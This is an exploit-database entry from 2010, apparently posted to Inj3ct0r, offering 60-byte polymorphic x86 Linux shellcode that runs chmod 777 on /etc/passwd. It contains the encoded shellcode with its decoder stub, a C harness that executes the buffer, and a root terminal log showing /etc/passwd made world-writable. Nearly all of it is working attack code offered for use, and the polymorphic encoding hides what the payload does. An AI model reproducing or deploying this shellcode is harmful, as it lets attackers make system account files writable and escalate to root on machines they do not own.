/* 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Name : 60 bytes chmod 777 polymorphic x86 linux shellcode Date : Sat Jun 5 16:10:00 2010 Author : gunslinger_ Web : http://devilzc0de.org blog : http://gunslingerc0de.wordpress.com tested on : linux debian special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com) */ /* root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd -rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd root@localhost:/home/gunslinger/shellcode# gcc -o polymorphic_chmod polymorphic_chmod.c chmod.c: In function ‘main’: chmod.c:37: warning: incompatible implicit declaration of built-in function ‘strlen’ root@localhost:/home/gunslinger/shellcode# ./polymorphic_chmod Length: 64 root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd -rwxrwxrwx 1 root root 1869 2010-05-08 15:53 /etc/passwd root@localhost:/home/gunslinger/shellcode# chmod 644 /etc/passwd root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd -rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd root@localhost:/home/gunslinger/shellcode# */ #include char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x27\x80\x6c\x0e\xff\x35\x80\xe9\x01" "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x20\x4a\x66\xf5\xe5\x44" "\x90\x66\xfe\x9b\xee\x34\x36\x02\xb5\x66\xf5\xe5\x36\x66\x10" "\x02\xb5\x1d\x1b\x34\x34\x34\x64\x9a\xa9\x98\x64\xa5\x96\xa8" "\xa8\xac\x99"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }